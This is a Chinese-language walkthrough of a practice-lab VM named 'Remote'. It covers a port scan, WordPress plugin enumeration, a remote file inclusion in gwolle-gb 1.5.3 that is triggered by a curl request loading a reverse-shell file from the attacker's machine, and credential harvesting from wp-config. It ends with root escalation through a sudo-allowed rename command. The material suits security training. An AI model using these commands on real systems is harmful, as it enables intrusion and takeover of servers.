# 靶场练习
下载:Remote
Nat,IP: 192.168.1.136
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | |
| ssh-hostkey: | |
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | |
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) | |
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) | |
80/tcp open http Apache httpd 2.4.56 ((Debian)) | |
|_http-server-header: Apache/2.4.56 (Debian) | |
|_http-title: Apache2 Debian Default Page: It works |
目录扫描发现 wordpress 目录
用 wpscan 扫描没有发现任何问题
点进去看知道了用户是 Tiago
加载很慢,估计设置了域名,我不想弄了
nmap 用 NSE 脚本去扫 wordpress 进行枚举,贴一个命令:
nmap -sV --script http-wordpress-enum --script-args http-wordpress-enum.root="/wordpress/",check-latest=true,search-limit=700 remote.nyx -p 80
要添加一个 host: remote.nyx
,这个 host 可以通过 html 代码里面的链接获得
因为博客类一般要在后台设置一个网址主页,静态资源要通过这个加载,所以很容易获得这个域名。
得到一个 gwolle-gb 1.5.3 (latest version:4.6.1)
插件
搜索 exp 发现有一个远程文件包含,会加载 wp-load.php 文件
本机创建一个 wp-load.php 的反弹 shell 文件,监听,然后去触发
┌──(root㉿kali)-[~] | |
└─# curl "http://192.168.1.136/wordpress/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://192.168.1.129:8000/" |
查看配置文件
define( 'DB_NAME', 'wordpress' ); | |
/** Database username */ | |
define( 'DB_USER', 'root' ); | |
/** Database password */ | |
define( 'DB_PASSWORD', 'WPr00t3d123!' ); | |
/** Database hostname */ | |
define( 'DB_HOST', 'localhost' ); | |
/** Database charset to use in creating database tables. */ | |
define( 'DB_CHARSET', 'utf8mb4' ); | |
/** The database collate type. Don't change this if in doubt. */ | |
define( 'DB_COLLATE', '' ); |
得到了一组账号密码: root@WPr00t3d123!
# 提权
指定不能登录 root
tiago 登录也不行,应该是关了 ssh 了,直接 su 过去
sudo -l
发现有个 rename 可以用
-h 查看发现支持 manual 手动模式,那就意味着可以交互
尝试用这个模式试一下啊,摁几下回车发现出现了 :
直接输入一个 bash,拿到了 root 的 shell
完活